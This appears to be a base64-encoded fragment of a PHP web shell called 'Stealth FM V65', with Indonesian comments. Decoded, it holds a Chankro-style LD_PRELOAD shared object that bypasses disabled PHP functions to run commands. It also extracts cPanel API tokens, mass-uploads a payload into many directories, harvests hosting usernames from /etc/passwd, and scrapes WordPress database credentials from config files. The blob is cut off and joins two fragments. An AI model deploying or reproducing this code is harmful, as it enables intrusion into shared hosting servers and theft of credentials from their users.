QUFBRFFBQUFBQUFBQUFjQUVBQUJJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWhBRUFBQ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBa3dFQUFCSUFEQUE5Q1FBQUFBQUFBQjBBQUFBQUFBQUFuUUVBQUJBQUdBQndFQ0FBQUFBQUFBQUFBQUFBQUFBQW9nRUFBQkFBR0FCb0VDQUFBQUFBQUFBQUFBQUFBQUFBcmdFQUFCSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF3UUVBQUNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQTFRRUFBQklBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBNndFQUFCSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEvUUVBQUNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUZ3SUFBQ0lBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTXdJQUFCSUFDUUFZQndBQUFBQUFBQUFBQUFBQUFBQUFPUUlBQUJJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHTnlkSE4wZFdabUxtTUFYMTlLUTFKZlRFbFRWRjlmQUdSbGNtVm5hWE4wWlhKZmRHMWZZMnh2Ym1WekFGOWZaRzlmWjJ4dlltRnNYMlIwYjNKelgyRjFlQUJqYjIxd2JHVjBaV1F1TmprM01nQmZYMlJ2WDJkc2IySmhiRjlrZEc5eWMxOWhkWGhmWm1sdWFWOWhjbkpoZVY5bGJuUnllUUJtY21GdFpWOWtkVzFkZVFCZlgyWnlZVzFsWDJSMWJXMTVYMmx1YVhSZllYSnlZWGxmWlc1MGNua0FhRzl2YXk1akFGOWZSbEpCVFVWZlJVNUVYMThBWDE5S1ExSmZSVTVFWDE4QVgxOWtjMjlmYUdGdVpHeGxBRjlFV1U1QlRVbERBRjlmUjA1VlgwVklYMFpTUVUxRlgwaEVVZ0JmWDFUTV9sRlRrUmZYd0JmUjB4UFFrRk1YMDlHUmxORlZGOVVRVUpNUlY4QVoyVjBaVzUyUUVCSFRFbENRMTh5TGpJdU5RQmZTVlJOWDJSbGNtVm5hWE4wWlhKVVRVTnNiMjVsVkdGaWJHVUFYMlZrWVhSaEFHUmhaVzF2Ym1sNlpRQmZabWx1YVFCemVYTjBaVzFBUUVkTVNVSkRYekl1TWk0MUFIQjNiZ0J6YVdkdVlXeEFRRWRNU1VKRFh6SXVNaTQxQUY5ZloyMXZibDl6ZEdGeWRGOWZBSEJ5Wld4dllXUnRaUUJmWlc1a0FGOWZZbk56WDNOMFlYSjBBR05vYlc5a1FFQkhURWxDUTE4eUxqSXVOUUJmU25aZlVtVm5hWE4wWlhKRGJHRnpjMlZ6QUhWdWMyVjBaVzUyUUVCSFRFbEJRa05mTWk0eUxqVUFYMlY0YVhSQVFFZE1TVUpEWHpJdU1pNDFBRjlKVkUxZmNtVm5hWE4wWlhKVVRVTnNiMjVsVkdGaWJHVUFYMTlqZUdGZlptbHVZV3hwZW1WQVFFZE1TVUpEWHpJdU1pNDFBRjlwYm1sMEFHWnZjbXRBUUVkTVNVSkRYekl1TWk0MUFBPT0nOw0KDQogICAgICAgICAgICAkc29fZmlsZSA9ICR0YXJnZXQgLiAnL2NoYW5rcm8uc28nOw0KICAgICAgICAgICAgJHNvY2tldF9maWxlID0gJHRhcmdldCAuICcvYWNwaWQuc29ja2V0JzsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLy8gT3V0cHV0IGtlIFRNUCBqaWthIFVBUEkgKGxlYmloIGNlcGF0L3N0YWJpbCksIGxva2FsIGppa2EgYmlhc2ENCiAgICAgICAgICAgIGlmICgkaXNfdWFwaV90b2tlbikgew0KICAgICAgICAgICAgICAgICRvdXRfZmlsZSA9ICcvdG1wL3NmbV9vdXRfJyAuIHRpbWUoKSAuICcudHh0JzsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJG91dF9maWxlID0gJHRhcmdldCAuICcvY2hhbmtyb19vdXQudHh0JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgQHVubGluaygkc29fZmlsZSk7IEB1bmxpbmsoJHNvY2tldF9maWxlKTsgQHVubGluaygkb3V0X2ZpbGUpOw0KDQogICAgICAgICAgICAvLyBBTlRJLUxPT1A6IEd1bmFrYW4gJ2VudiAtdScgdW50dWsgbWVtYmVyc2loa2FuIHZhcmlhYmVsIGhvb2sgc2ViZWx1bSBwZXJpbnRhaCBkaWphbGFua2FuDQogICAgICAgICAgICAkc2FmZV9jbWQgPSAiZXhwb3J0IFBBVEg9L2JpbjovdXNyL2JpbjovdXNyL2xvY2FsL2Jpbjovc2JpbjovdXNyL3NiaW47IGVudiAtdSBMRF9QUkVMT0FEIC11IENIQU5LUk8gIiAuICRjbWRfcmF3Ow0KICAgICAgICAgICAgJGZ1bGxfY29tbWFuZCA9ICIoJHNhZmVfY21kKSA+ICRvdXRfZmlsZSAyPiYxIjsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgJG1ldGVycHJldGVyID0gYmFzZTY0X2VuY29kZSgkZnVsbF9jb21tYW5kKTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgeF93cml0ZSgkc29fZmlsZSwgYmFzZTY0X2RlY29kZSgkaG9vaykpOw0KICAgICAgICAgICAgeF93cml0ZSgkc29ja2V0X2ZpbGUsIGJhc2U2NF9kZWNvZGUoJG1ldGVycHJldGVyKSk7DQogICAgICAgICAgICANCiAgICAgICAgICAgIHB1dGVudignQ0hBTktSTz0nIC4gJHNvY2tldF9maWxlKTsNCiAgICAgICAgICAgIHB1dGVudignTERfUFJFTE9BRD0nIC4gJHNvX2ZpbGUpOw0KDQogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdtYWlsJykpIHsgQG1haWwoJ2EnLCdhJywnYScsJ2EnKTsgfSANCiAgICAgICAgICAgIGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdtYl9zZW5kX21haWwnKSkgeyBAbWJfc2VuZF9tYWlsKCdhJywnYScsJ2EnLCdhJyk7IH0gDQogICAgICAgICAgICBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXJyb3JfbG9nJykpIHsgQGVycm9yX2xvZygnYScsIDEsICdhJyk7IH0gDQogICAgICAgICAgICBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnaW1hcF9tYWlsJykpIHsgQGltYXBfbWFpbCgnYScsJ2EnLCdhJyk7IH0NCg0KICAgICAgICAgICAgc2xlZXAoJGlzX3VhcGlfdG9rZW4gPyA1IDogMik7DQoNCiAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkb3V0X2ZpbGUpKSB7DQogICAgICAgICAgICAgICAgJHJhd19vdXQgPSBmaWxlX2dldF9jb250ZW50cygkb3V0X2ZpbGUpOw0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIGlmICgkaXNfdWFwaV90b2tlbikgew0KICAgICAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnL3Rva2VuOlxzKihcUyspL2knLCAkcmF3X291dCwgJG0pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkb3V0ID0gIlNVQ0NFU1MgVE9LRU46XG4iIC4gJG1bMV07DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmIChzdHJpcG9zKCRyYXdfb3V0LCAnWW91IGRvIG5vdCBoYXZlIHRoZSBmZWF0dXJlJykgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkb3V0ID0gIkZBSUxFRDogRmVhdHVyZSAnYXBpdG9rZW5zJyBkaXNhYmxlZCBieSBob3N0LiI7DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2xlYW4gPSBwcmVnX3JlcGxhY2UoJy9eRVJST1I6IGxkXC5zbzouKiQvbScsICcnLCAkcmF3X291dCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkb3V0ID0gdHJpbSgkY2xlYW4pOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoZW1wdHkoJG91dCkpICRvdXQgPSAiVUFQSSBFeGVjdXRlZCBidXQgbm8gdG9rZW4gZm91bmQgKFJhdyk6XG4iIC4gc3Vic3RyKCRyYXdfb3V0LCAwLCA1MDApOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgLy8gQ0xFQU4gT1VUUFVUDQogICAgICAgICAgICAgICAgICAgICRjbGVhbiA9IHByZWdfcmVwbGFjZSgnL15FUlJPUjogbGRcLnNvOi4qJC9tJywgJycsICRyYXdfb3V0KTsNCiAgICAgICAgICAgICAgICAgICAgJG91dCA9IHRyaW0oJGNsZWFuKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRvdXQpICYmICFlbXB0eSgkcmF3X291dCkpICRvdXQgPSAkcmF3X291dDsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJG91dCA9ICJbQ2hhbmtybyBGYWlsZWQ6IE91dHB1dCBmaWxlIG5vdCBjcmVhdGVkIGF0ICRvdXRfZmlsZV0iOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBAdW5saW5rKCRzb19maWxlKTsgQHVubGluaygkc29ja2V0X2ZpbGUpOyANCiAgICAgICAgICAgIGlmKCRpc191YXBpX3Rva2VuKSBAdW5saW5rKCRvdXRfZmlsZSk7DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoZW1wdHkoJG91dCkgfHwgc3RybGVuKHRyaW0oJG91dCkpID09PSAwKSB7DQogICAgICAgICAgICAkb3V0ID0gIltObyBPdXRwdXQgUHJvZHVjZWRdIjsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICRvdXQ7IGV4aXQ7DQogICAgfQ0KDQogICAgaWYgKCRhY3Rpb24gPT09ICd0b29sJykgew0KICAgICAgICAkdG9vbCA9IGlzc2V0KCRfU0VSVkVSWyRoX3Rvb2xdKSA/ICRfU0VSVkVSWyRoX3Rvb2xdIDogJyc7DQogICAgICAgICRob21lX2RpcnMgPSBnZXRfaG9tZV9kaXJzKCk7DQoNCiAgICAgICAgLy8gLS0tIFVQREFURUQgTUFTUyBVUExPQUQgKFVTRSBST0JVU1QgV1JJVEUpIC0tLQ0KICAgICAgICBpZiAoJHRvb2wgPT09ICdtYXNzX3VwbG9hZCcpIHsNCiAgICAgICAgICAgICRtb2RlID0gaXNzZXQoJF9TRVJWRVJbJGhfbW1vZGVdKSA/ICRfU0VSVkVSWyRoX21tb2RlXSA6ICdpbml0JzsNCiAgICAgICAgICAgICR0bXBfbGlzdCA9IHN5c19nZXRfdGVtcF9kaXIoKSAuICIvc2ZtX21hc3NfdGFyZ2V0cy5qc29uIjsNCiAgICAgICAgICAgICR0bXBfZmlsZSA9IHN5c19nZXRfdGVtcF9kaXIoKSAuICIvc2ZtX21hc3NfcGF5bG9hZC50bXAiOw0KDQogICAgICAgICAgICBpZiAoJG1vZGUgPT09ICdpbml0Jykgew0KICAgICAgICAgICAgICAgICRpbnB1dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCJwaHA6Ly9pbnB1dCIpOw0KICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlskaF9lbmNdKSAmJiAkX1NFUlZFUlskaF9lbmNdID09PSAnYjY0JykgJGlucHV0ID0gYmFzZTY0X2RlY29kZSgkaW5wdXQpOw0KICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCR0bXBfZmlsZSwgJGlucHV0KTsNCiAgICAgICAgICAgICAgICAkdGFyZ2V0cyA9IHNjYW5fc21hcnRfdGFyZ2V0cygkdGFyZ2V0KTsgDQogICAgICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJHRtcF9saXN0LCBqc29uX2VuY29kZSgkdGFyZ2V0cykpOw0KICAgICAgICAgICAgICAgIGpzb25fb3V0KFsnc3RhdHVzJyA9PiAncmVhZHknLCAndG90YWwnID0+IGNvdW50KCR0YXJnZXRzKV0pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICBpZiAoJG1vZGUgPT09ICdwcm9jZXNzJykgew0KICAgICAgICAgICAgICAgICRzdGVwID0gaXNzZXQoJF9TRVJWRVJbJGhfc3RlcF0pID8gKGludCkkX1NFUlZFUlskaF9zdGVwXSA6IDA7DQogICAgICAgICAgICAgICAgJGZpbGVuYW1lID0gaXNzZXQoJF9TRVJWRVJbJGhfZGF0YV0pID8gYmFzZTY0X2RlY29kZSgkX1NFUlZFUlskaF9kYXRhXSkgOiAnbWFzc19maWxlLnBocCc7DQogICAgICAgICAgICAgICAgJGxpbWl0ID0gMjA7IA0KDQogICAgICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkdG1wX2xpc3QpIHx8ICFmaWxlX2V4aXN0cygkdG1wX2ZpbGUpKSB7IGpzb25fb3V0KFsnc3RhdHVzJz0+J2Vycm9yJywgJ21zZyc9PidUYXNrIGV4cGlyZWQuJ10pOyB9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgJHRhcmdldHMgPSBqc29uX2RlY29kZShmaWxlX2dldF9jb250ZW50cygkdG1wX2xpc3QpLCB0cnVlKTsNCiAgICAgICAgICAgICAgICAkdG90YWwgPSBjb3VudCgkdGFyZ2V0cyk7DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgaWYgKCR0b3RhbCA9PT0gMCB8fCAkc3RlcCA+PSAkdG90YWwpIHsNCiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkdG1wX2xpc3QpOyBAdW5saW5rKCR0bXBfZmlsZSk7IA0KICAgICAgICAgICAgICAgICAgICBqc29uX291dChbJ3N0YXR1cycgPT4gJ2RvbmUnLCAndG90YWwnID0+ICR0b3RhbF0pOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICRiYXRjaCA9IGFycmF5X3NsaWNlKCR0YXJnZXRzLCAkc3RlcCwgJGxpbWl0KTsNCiAgICAgICAgICAgICAgICAkcGF5bG9hZCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR0bXBfZmlsZSk7DQogICAgICAgICAgICAgICAgJGNvdW50X29rID0gMDsNCg0KICAgICAgICAgICAgICAgIGZvcmVhY2goJGJhdGNoIGFzICRkaXIpIHsNCiAgICAgICAgICAgICAgICAgICAgaWYoeF9yb2J1c3Rfd3JpdGUoJGRpciAuICcvJyAuICRmaWxlbmFtZSwgJHBheWxvYWQsIGZhbHNlKSkgJGNvdW50X29rKys7DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgJG5leHRfc3RlcCA9ICRzdGVwICsgJGxpbWl0Ow0KICAgICAgICAgICAgICAgIGpzb25fb3V0KFsnc3RhdHVzJyA9PiAnY29udGludWUnLCAnbmV4dF9zdGVwJyA9PiAkbmV4dF9zdGVwLCAndG90YWwnID0+ICR0b3RhbCwgJ29rX2JhdGNoJyA9PiAkY291bnRfb2tdKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGV4aXQ7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICAgICAgICAgLy8gLS0tIEJZUEFTUyBVU0VSIChQUklPUklUWTogSUQgU0NBTk5JTkcgLT4gRkFMTEJBQ0s6IEVUQy9QQVNTV0QpIC0tLQ0KICAgICAgICBpZiAoJHRvb2wgPT09ICdieXBhc3NfdXNlcicpIHsNCiAgICAgICAgICAgICRmb3VuZCA9IFtdOw0KICAgICAgICAgICAgDQogICAgICAgICAgICAvLyBEYWZ0YXIgdXNlciBzeXN0ZW0vc2FtcGFoIHlhbmcgd2FqaWIgZGlidWFuZw0KICAgICAgICAgICAgJGJsYWNrbGlzdCA9IFsNCiAgICAgICAgICAgICAgICAncm9vdCcsICdiaW4nLCAnZGFlbW9uJywgJ2FkbScsICdscCcsICdzeW5jJywgJ3NodXRkb3duJywgJ2hhbHQnLCAnbWFpbCcsIA0KICAgICAgICAgICAgICAgICdvcGVyYXRvcicsICdnYW1lcycsICdmdHAnLCAnbmFtZWQnLCAnbnNjZCcsICdycGN1c2VyJywgJ3JwYycsICdtYWlsbnVsbCcsIA0KICAgICAgICAgICAgICAgICd0c3MnLCAnc3NoZCcsICdkYnVzJywgJ2RvdmVjb3QnLCAncnRraXQnLCAnYWdlbnQzNjAnLCAnb3NzZWNlJywgJ29zc2VjbScsIA0KICAgICAgICAgICAgICAgICdvc3NlY3InLCAnb3NzZWMnLCAnaW11bmlmeTM2MC1zY2FubG9nZCcsICdpbXVuaWZ5MzYwLXdlYnNoaWVsZCcsICd3cC10b29sa2l0JywgDQogICAgICAgICAgICAgICAgJ2xzYWRtJywgJ19pbXVuaWZ5JywgJ2ZsYXRwYWsnLCAnZ2VvY2x1ZScsICdwaXBld2lyZScsICdwb2xraXRkJywgDQogICAgICAgICAgICAgICAgJ2NwYW5lbHBocG15YWRtaW4nLCAnY3BhbmVscGhwcGdhZG1pbicsICdkb3ZlbnVsbCcsICdteXNxbCcsICdjcHNlcycsIA0KICAgICAgICAgICAgICAgICdjcGFuZWxhbmFseXRpY3MnLCAnY3BhbmVsY29ubmVjdHRyYWNrJywgJ2NwYW5lbHJvdW5kY3ViZScsICdjcGFuZWxleGltc2Nhbm5lcicsIA0KICAgICAgICAgICAgICAgICdjcGFuZWxleGltZmlsdGVyJywgJ2NwYW5lbGxvZ2luJywgJ2NwYW5lbGNhYmNhY2hlJywgJ2NwYW5lbCcsICdtYWlsbWFuJywgDQogICAgICAgICAgICAgICAgJ2Nocm9ueScsICdzc3NkJywgJ3N5c3RlbWQtY29yZWR1bXAnLCAnbm9ib2R5JywgJ2FwYWNoZScsICduZ2lueCcsICdsaXRlc3BlZWQnLA0KICAgICAgICAgICAgICAgICdzeXN0ZW1kLW5ldHdvcmsnLCAnc3lzdGVtZC1yZXNvbHZlJywgJ3N5c3RlbWQtdGltZXN5bmMnDQogICAgICAgICAgICBdOw0KDQogICAgICAgICAgICAvLyBNRVRPREUgMTogU0NBTk5JTkcgSUQgKFBSSU9SSVRBUyBVVEFNQSkNCiAgICAgICAgICAgIC8vIE1lbmNvYmEgbWVuZGFwYXRrYW4gdXNlciBsYW5nc3VuZyBkYXJpIEtlcm5lbCB2aWEgUE9TSVgNCiAgICAgICAgICAgIC8vIFJhbmdlIHNjYW46IDAgc2FtcGFpIDUwMDAgKE1lbmNha3VwIHVzZXIgc3lzdGVtICYgdXNlciBob3N0aW5nKQ0KICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgew0KICAgICAgICAgICAgICAgIGZvciAoJHVzZXJpZCA9IDA7ICR1c2VyaWQgPCA1MDAwOyAkdXNlcmlkKyspIHsgDQogICAgICAgICAgICAgICAgICAgICRhcnIgPSBAcG9zaXhfZ2V0cHd1aWQoJHVzZXJpZCk7IA0KICAgICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRhcnIpICYmIGlzc2V0KCRhcnJbJ25hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR1ID0gJGFyclsnbmFtZSddOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGggPSBpc3NldCgkYXJyWydkaXInXSkgPyAkYXJyWydkaXInXSA6ICcnOw0KICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAvLyBGaWx0ZXI6IFRpZGFrIGJvbGVoIGFkYSBkaSBibGFja2xpc3QgREFOIGhvbWUgZGlyIGhhcnVzIHZhbGlkDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWluX2FycmF5KCR1LCAkYmxhY2tsaXN0KSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RyaXBvcygkaCwgJy9ob21lJykgIT09IGZhbHNlIHx8IHN0cmlwb3MoJGgsICcvdmFyL3d3dycpICE9PSBmYWxzZSB8fCBzdHJpcG9zKCRoLCAnL3Vzci9ob21lJykgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmb3VuZFtdID0gJHU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC8vIE1FVE9ERSAyOiBSRUFEIC9FVEMvUEFTU1dEIChGQUxMQkFDSykNCiAgICAgICAgICAgIC8vIEhhbnlhIGRpamFsYW5rYW4gamlrYSBNZXRvZGUgMSAoU2Nhbm5pbmcgSUQpIGdhZ2FsIHRvdGFsIGF0YXUgcmV0dXJuIGtvc29uZw0KICAgICAgICAgICAgaWYgKGVtcHR5KCRmb3VuZCkpIHsgDQogICAgICAgICAgICAgICAgJHJhd19ldGMgPSB4X3JlYWQoIi9ldGMvcGFzc3dkIik7DQogICAgICAgICAgICAgICAgaWYgKCRyYXdfZXRjKSB7IA0KICAgICAgICAgICAgICAgICAgICAkbGluZXMgPSBleHBsb2RlKCJcbiIsICRyYXdfZXRjKTsgDQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGxpbmVzIGFzICRsKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoZW1wdHkodHJpbSgkbCkpKSBjb250aW51ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRwID0gZXhwbG9kZSgiOiIsICRsKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICR1ID0gaXNzZXQoJHBbMF0pID8gdHJpbSgkcFswXSkgOiAnJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRoID0gaXNzZXQoJHBbNV0pID8gdHJpbSgkcFs1XSkgOiAnJzsgLy8gS29sb20gNiA9IEhvbWUgRGlyDQogICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJHUpICYmICFpbl9hcnJheSgkdSwgJGJsYWNrbGlzdCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RyaXBvcygkaCwgJy9ob21lJykgIT09IGZhbHNlIHx8IHN0cmlwb3MoJGgsICcvdmFyL3d3dycpICE9PSBmYWxzZSB8fCBzdHJpcG9zKCRoLCAnL3Vzci9ob21lJykgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmb3VuZFtdID0gJHU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLy8gSGFwdXMgZHVwbGlrYXQgJiBTaW1wYW4NCiAgICAgICAgICAgICRmb3VuZCA9IGFycmF5X3VuaXF1ZSgkZm91bmQpOw0KICAgICAgICAgICAgJG91dHB1dCA9ICIiOw0KICAgICAgICAgICAgZm9yZWFjaCgkZm91bmQgYXMgJHVzZXIpIHsNCiAgICAgICAgICAgICAgICAkb3V0cHV0IC49ICR1c2VyIC4gIjpcbiI7IA0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZighZW1wdHkoJG91dHB1dCkpIHsgDQogICAgICAgICAgICAgICAgeF93cml0ZSgicGFzc3dkLnR4dCIsICRvdXRwdXQpOyANCiAgICAgICAgICAgICAgICBlY2hvICJTYXZlZCB0bzogcGFzc3dkLnR4dFxuTWV0aG9kOiAiIC4gKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSA/ICJJRCBTY2FuIChQcmltYXJ5KSIgOiAiRmlsZSBSZWFkIChGYWxsYmFjaykiKSAuICJcbkNsZWFuIFVzZXJzIEZvdW5kOiAiIC4gY291bnQoJGZvdW5kKTsgDQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gIkZhaWxlZC4gTm8gdmFsaWQgaG9zdGluZyB1c2VycyBmb3VuZCB2aWEgSUQgU2NhbiBvciBGaWxlIFJlYWQuIjsgDQogICAgICAgICAgICB9DQogICAgICAgICAgICBleGl0Ow0KICAgICAgICB9DQoNCg0KICAgICAgICBpZiAoJHRvb2wgPT09ICdhZGRfYWRtaW4nKSB7DQogICAgICAgICAgICAkc3RlcCA9IGlzc2V0KCRfU0VSVkVSWyRoX3N0ZXBdKSA/IChpbnQpJF9TRVJWRVJbJGhfc3RlcF0gOiAwOw0KICAgICAgICAgICAgJGxpbWl0ID0gNTsgDQogICAgICAgICAgICAkbW9kZSA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX1hfTU9ERSddKSA/ICRfU0VSVkVSWydIVFRQX1hfTU9ERSddIDogJ2p1bXBpbmcnOw0KICAgICAgICAgICAgJHRhcmdldF9zdWIgPSAoJG1vZGUgPT09ICdzeW1saW5rJykgPyAnM3hfc3ltJyA6ICdqdW1waW5nJzsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgJHNjYW5fcGF0aCA9IGlzX2RpcigkdGFyZ2V0IC4gJy8nIC4gJHRhcmdldF9zdWIpID8gJHRhcmdldCAuICcvJyAuICR0YXJnZXRfc3ViIDogJHRhcmdldDsNCiAgICAgICAgICAgICRhbGxfZmlsZXMgPSBzY2FuZGlyKCRzY2FuX3BhdGgpOw0KICAgICAgICAgICAgJGNvbmZpZ19maWxlcyA9IFtdOw0KICAgICAgICAgICAgZm9yZWFjaCgkYWxsX2ZpbGVzIGFzICRmKSB7IA0KICAgICAgICAgICAgIGlmKCRmID09ICcuJyB8fCAkZiA9PSAnLi4nKSBjb250aW51ZTsgDQogICAgICAgICAgICAgIGlmKHN0cmlwb3MoJGYsICdjb25maWcnKSAhPT0gZmFsc2UgfHwgc3RyaXBvcygkZiwgJ3NldHRpbmdzJykgIT09IGZhbHNlIHx8IHN1YnN0cigkZiwgLTQpID09PSAnLnR4dCcpIHsNCiAgICAgICAgICAgICAgICRjb25maWdfZmlsZXNbXSA9ICRzY2FuX3BhdGggLiAnLycgLiAkZjsgDQogICAgICAgICAgICB9DQogICAgICAgICAgICAgIH0gICAgICAgICAgICANCiAgICAgICAgICAgICR0b3RhbCA9IGNvdW50KCRjb25maWdfZmlsZXMpOw0KICAgICAgICAgICAgaWYgKCRzdGVwID49ICR0b3RhbCkgeyBlY2hvIGpzb25fZW5jb2RlKFsnc3RhdHVzJz0+J2RvbmUnLCAnaHRtbCc9PicnLCAndG90YWwnPT4kdG90YWxdKTsgZXhpdDsgfQ0KICAgICAgICAgICAgJGJhdGNoX2ZpbGVzID0gYXJyYXlfc2xpY2UoJGNvbmZpZ19maWxlcywgJHN0ZXAsICRsaW1pdCk7DQogICAgICAgICAgICAkaHRtbF9sb2cgPSAiIjsNCg0KICAgICAgICAgICAgZm9yZWFjaCgkYmF0Y2hfZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgICAgICAkY29udGVudCA9IHhfcmVhZCgkZmlsZSk7DQogICAgICAgICAgICAgICAgaWYoISRjb250ZW50KSBjb250aW51ZTsNCiAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgiL2RlZmluZVxzKlwoXHMqWydcIl1EQl9OQU1FWydcIl1ccyosXHMqWydcIl0oLio/KVsnXCJdXHMqXCkvaSIsICRjb250ZW50LCAkbV9uYW1lKSkgew0KICAgICAgICAgICAgICAgICAgICAkZGJfbmFtZSA9ICRtX25hbWVbMV07DQogICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2goIi9kZWZpbmVccypcKFxzKlsnXCJdREJfVVNFUlsnXCJdXHMqLFxzKlsnXCJdKC4qPylbJ1wiXVxzKlwpL2kiLCAkY29udGVudCwgJG1fdXNlcik7ICRkYl91c2VyID0gJG1fdXNlclsxXSA/PyAnJzsNCiAgICAgICAgICAgICAgICAgICAgcHJlZ19tYXRjaCgiL2RlZmluZVxzKlwoXHMqWydcIl1EQl9QQVNTV09SRFsnXCJdXHMqLFxzKlsnXCJdKC4qPylbJ1wiXVxzKlwpL2kiLCAkY29udGVudCwgJG1fcGFzcyk7ICRkYl9wYXNzID0gJG1fcGFzc1sxXSA/PyAnJzsNCiAgICAgICAgICAgICAgICAgICAgcHJlZ19tYXRjaCgiL2RlZmluZVxzKlwoXHMqWydcIl1EQl9IT1NUWydcIl1ccyosXHMqWydcIl0oLio/KVsnXCJdXHMqXCkvaSIsICRjb250ZW50LCAkbV9ob3N0KTsgJGRiX2hvc3QgPSAkbV9ob3N0PD9waHANCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCi8vIFNURUFMVEggRk0gVjY1IChVTFRJTUFURTogSkFJTEJSRUFLICsgQU5USS1MT09QICsgSFlCUklEIEJZUEFTUykNCi8vIEZFQVRVUkVTOiBPUEVOX0JBU0VESVIgQllQQVNTLCBFTlYgVU5TRVQsIFRNUEZTIE9VVFBVVCwgQVVUTyBSRUZSRVNIDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCi8vIDEuIFNURUFMVEggTU9